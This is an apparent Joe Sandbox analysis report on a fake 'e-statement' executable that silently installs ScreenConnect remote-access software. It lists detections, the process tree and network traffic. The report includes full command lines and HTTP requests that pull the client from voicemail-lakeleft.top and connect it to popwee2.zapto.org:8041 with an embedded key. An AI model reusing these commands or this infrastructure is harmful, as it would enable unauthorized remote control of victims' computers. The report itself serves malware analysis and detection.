Edit tour

Windows Analysis Report
monthly-eStatementForum120478962.Client.exe

Overview

General Information

Sample name:	monthly-eStatementForum120478962.Client.exe
Analysis ID:	1551950
MD5:	27bd2490fd75556aab2df57ea7c1147f
SHA1:	4eb9656ede1fed23fdaeb67815afcd489ded0f77
SHA256:	7d6376247db9e267f27d1d6bf32b48afcab0ad277706fc0135d803645f7852a5
Infos:

Detection

ScreenConnect Tool

Score:	51
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Compliance

Score:	33
Range:	0 - 100

Signatures

.NET source code references suspicious native API functions

AI detected suspicious sample

Contains functionality to hide user accounts

Detected potential unwanted application

Enables network access during safeboot for specific services

Reads the Security eventlog

Reads the System eventlog

AV process strings found (often used to terminate AV products)

Adds / modifies Windows certificates

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates or modifies windows services

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Drops certificate files (DER)

EXE planting / hijacking vulnerabilities found

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Launches processes in debugging mode, may be used to hinder debugging

May sleep (evasive loops) to hinder dynamic analysis

May use bcdedit to modify the Windows boot settings

Modifies existing windows services

One or more processes crash

PE file contains an invalid checksum

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Dfsvc.EXE Network Connection To Uncommon Ports

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected ScreenConnect Tool

Classification

Process Tree

System is w10x64

monthly-eStatementForum120478962.Client.exe (PID: 7160 cmdline: "C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe" MD5: 27BD2490FD75556AAB2DF57EA7C1147F)

dfsvc.exe (PID: 2628 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe" MD5: B4088F44B80D363902E11F897A7BAC09)

ScreenConnect.WindowsClient.exe (PID: 7440 cmdline: "C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe" MD5: 20AB8141D958A58AADE5E78671A719BF)

ScreenConnect.ClientService.exe (PID: 7484 cmdline: "C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Newboom%20Session" "1" MD5: 361BCC2CB78C75DD6F583AF81834E447)

WerFault.exe (PID: 7788 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7160 -s 332 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 6932 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2120 cmdline: C:\Windows\system32\svchost.exe -k LocalService -s W32Time MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

ScreenConnect.ClientService.exe (PID: 7512 cmdline: "C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Newboom%20Session" "1" MD5: 361BCC2CB78C75DD6F583AF81834E447)

ScreenConnect.WindowsClient.exe (PID: 7580 cmdline: "C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe" "RunRole" "c62c9dea-32aa-435a-858b-87f989247e7c" "User" MD5: 20AB8141D958A58AADE5E78671A719BF)

svchost.exe (PID: 7728 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 7764 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 7160 -ip 7160 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 7844 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000007.00000000.1558755338.0000000000E12000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000001.00000002.3157733053.000001E8B3FFF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000007.00000002.1569444555.000000000315F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: dfsvc.exe PID: 2628	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: ScreenConnect.WindowsClient.exe PID: 7440	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: ScreenConnect.ClientService.exe PID: 7484	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
7.0.ScreenConnect.WindowsClient.exe.e10000.0.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security

Sigma Signatures

System Summary

Sigma detected: Dfsvc.EXE Network Connection To Uncommon Ports

Source: Network Connection

Author: Nasreddine Bencherchali (Nextron Systems): Data: DestinationIp: 192.168.2.7, DestinationIsIpv6: false, DestinationPort: 49706, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe, Initiated: true, ProcessId: 2628, Protocol: tcp, SourceIp: 194.59.30.201, SourceIsIpv6: false, SourcePort: 443

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6932, ProcessName: svchost.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T11:09:35.005158+0100	2022930	1	A Network Trojan was detected	4.175.87.197	443	192.168.2.7	49772	TCP
2024-11-08T11:10:13.054100+0100	2022930	1	A Network Trojan was detected	20.12.23.50	443	192.168.2.7	49993	TCP

ET MALWARE Possible Windows executable sent when remote host claims to send html content

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-08T11:09:27.640004+0100	2009897	1	A Network Trojan was detected	194.59.30.201	443	192.168.2.7	49730	TCP
2024-11-08T11:09:29.098621+0100	2009897	1	A Network Trojan was detected	194.59.30.201	443	192.168.2.7	49737	TCP
2024-11-08T11:09:34.163926+0100	2009897	1	A Network Trojan was detected	194.59.30.201	443	192.168.2.7	49771	TCP
2024-11-08T11:09:35.536470+0100	2009897	1	A Network Trojan was detected	194.59.30.201	443	192.168.2.7	49779	TCP
2024-11-08T11:09:37.158581+0100	2009897	1	A Network Trojan was detected	194.59.30.201	443	192.168.2.7	49790	TCP
2024-11-08T11:09:38.514160+0100	2009897	1	A Network Trojan was detected	194.59.30.201	443	192.168.2.7	49798	TCP
2024-11-08T11:09:41.447672+0100	2009897	1	A Network Trojan was detected	194.59.30.201	443	192.168.2.7	49814	TCP
2024-11-08T11:09:43.298710+0100	2009897	1	A Network Trojan was detected	194.59.30.201	443	192.168.2.7	49825	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 88.9% probability

Cryptography

Uses Microsoft's Enhanced Cryptographic Provider

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Code function: 0_2_00F21000 LocalAlloc,LocalAlloc,GetModuleFileNameW,CertOpenSystemStoreA,LocalAlloc,LocalAlloc,CryptQueryObject,LocalFree,CryptMsgGetParam,CryptMsgGetParam,LocalAlloc,LocalAlloc,CryptMsgGetParam,CertCreateCertificateContext,CertAddCertificateContextToStore,CertFreeCertificateContext,LocalFree,CryptMsgGetParam,LocalFree,LocalFree,CryptMsgGetParam,CryptMsgGetParam,CertFindAttribute,CertFindAttribute,CertFindAttribute,LoadLibraryA,GetProcAddress,Sleep,CertDeleteCertificateFromStore,CertDeleteCertificateFromStore,CertCloseStore,LocalFree,LocalFree,LocalFree,

0_2_00F21000

Privilege Escalation

EXE planting / hijacking vulnerabilities found

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.ClientService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe	Jump to behavior

Compliance

EXE planting / hijacking vulnerabilities found

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.ClientService.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	EXE: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe	Jump to behavior

Uses 32bit PE files

Source: monthly-eStatementForum120478962.Client.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

PE / OLE file has a valid certificate

Source: monthly-eStatementForum120478962.Client.exe

Static PE information: certificate valid

Uses secure TLS version for HTTPS connections

Source: unknown	HTTPS traffic detected: 194.59.30.201:443 -> 192.168.2.7:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.59.30.201:443 -> 192.168.2.7:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.59.30.201:443 -> 192.168.2.7:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.59.30.201:443 -> 192.168.2.7:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.59.30.201:443 -> 192.168.2.7:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.59.30.201:443 -> 192.168.2.7:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.59.30.201:443 -> 192.168.2.7:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.59.30.201:443 -> 192.168.2.7:49814 version: TLS 1.2

Contains modern PE file flags such as dynamic base (ASLR) or NX

Source: monthly-eStatementForum120478962.Client.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Binary contains paths to debug symbols

Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe0.1.dr, ScreenConnect.WindowsFileManager.exe.1.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbU source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B424A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B4325000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B3EBB000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.1569312203.0000000002F12000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClickOnceRunner\Release\ClickOnceRunner.pdb source: monthly-eStatementForum120478962.Client.exe
Source:	Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B435D000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B4246000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B3EB7000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000008.00000002.1567594933.0000000002CD2000.00000002.00000001.01000000.0000000D.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.3155817267.00000000029B0000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 0000000A.00000002.3156144988.0000000002A41000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.dll.1.dr, ScreenConnect.ClientService.dll0.1.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdbe source: ScreenConnect.WindowsClient.exe, 00000007.00000000.1558755338.0000000000E12000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source:	Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 00000008.00000000.1563335386.0000000000C4D000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.ClientService.exe0.1.dr, ScreenConnect.ClientService.exe.1.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B3EB3000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B4242000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B4383000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.1570550715.000000001C112000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Windows.dll0.1.dr, ScreenConnect.Windows.dll.1.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.1.dr, ScreenConnect.WindowsBackstageShell.exe0.1.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000007.00000000.1558755338.0000000000E12000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.WindowsClient.exe0.1.dr, ScreenConnect.WindowsClient.exe.1.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdbW] source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B3EB3000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B4242000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B4383000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.1570550715.000000001C112000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Windows.dll0.1.dr, ScreenConnect.Windows.dll.1.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdb source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B424A000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B4325000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.3157733053.000001E8B3EBB000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000007.00000002.1569312203.0000000002F12000.00000002.00000001.01000000.00000010.sdmp, ScreenConnect.Client.dll.1.dr, ScreenConnect.Client.dll0.1.dr
Source:	Binary string: C:\builds\cc\cwcontrol\Product\Core\obj\Release\net20\ScreenConnect.Core.pdb source: dfsvc.exe, 00000001.00000002.3157733053.000001E8B3EAB000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000008.00000002.1568117293.0000000005462000.00000002.00000001.01000000.0000000E.sdmp, ScreenConnect.Core.dll.1.dr, ScreenConnect.Core.dll0.1.dr

Spreading

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Code function: 0_2_00F24A4B FindFirstFileExA,

0_2_00F24A4B

Networking

Enables network access during safeboot for specific services

Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe

Registry value created: NULL Service

Jump to behavior

Detected TCP or UDP traffic on non-standard ports

Source: global traffic

TCP traffic: 192.168.2.7:49851 -> 194.59.30.201:8041

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Newboom%20Session HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.manifest HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.dll HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.dll HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Windows.dll HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Core.dll HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip

IP address seen in connection with other malware

Source: Joe Sandbox View

IP Address: 194.59.30.201 194.59.30.201

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Suricata IDS alerts with low severity for network traffic

Source: Network traffic	Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 194.59.30.201:443 -> 192.168.2.7:49737
Source: Network traffic	Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 194.59.30.201:443 -> 192.168.2.7:49771
Source: Network traffic	Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 194.59.30.201:443 -> 192.168.2.7:49730
Source: Network traffic	Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 194.59.30.201:443 -> 192.168.2.7:49798
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.7:49772
Source: Network traffic	Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 194.59.30.201:443 -> 192.168.2.7:49790
Source: Network traffic	Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 194.59.30.201:443 -> 192.168.2.7:49814
Source: Network traffic	Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 194.59.30.201:443 -> 192.168.2.7:49825
Source: Network traffic	Suricata IDS: 2009897 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send html content : 194.59.30.201:443 -> 192.168.2.7:49779
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.7:49993

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.application?e=Support&y=Guest&h=popwee2.zapto.org&p=8041&s=4b43e651-6d21-48a4-a5c8-8436b8ee48ae&k=BgIAAACkAABSU0ExAAgAAAEAAQCpDLJbB2UCJQST7J%2beAL4SRxBN9FnGDmzuSSe%2fjH%2bnKBeOQFHQ%2bCr3LypD1KSb17oRWP4zVHy7BT585yzIdtEsLOQJGVUwzeIFWaAKwKfBsHG%2fh8GYVt85W1oIVuD0heJmJtqEdcOjXvXPD4oJuQHoqhBbYLoSnsbfrTP0R040%2bcfkCNslvuf01cnsbcAeyUEFRKIz%2b8o0YJwrixE6vdRb5cxn%2bauV36m92%2b6%2fhNC5sRzM45Hr1FU47wA4rARa8OnACYafp32jE3t2Cm7EEkMt%2bS6HWKgaZMp0VLkBgPw3WnP85fhslYN9Uz3EZtsBn%2f97CFE2jSAv4%2brdgImA3na8&r=&i=Newboom%20Session HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzipConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.manifest HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.exe HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe.config HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsClient.exe.config HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsBackstageShell.exe.config HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.WindowsFileManager.exe HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Client.dll HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.ClientService.dll HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
Source: global traffic	HTTP traffic detected: GET /Bin/ScreenConnect.Windows.dll HTTP/1.1Host: voicemail-lakeleft.topAccept-Encoding: gzip
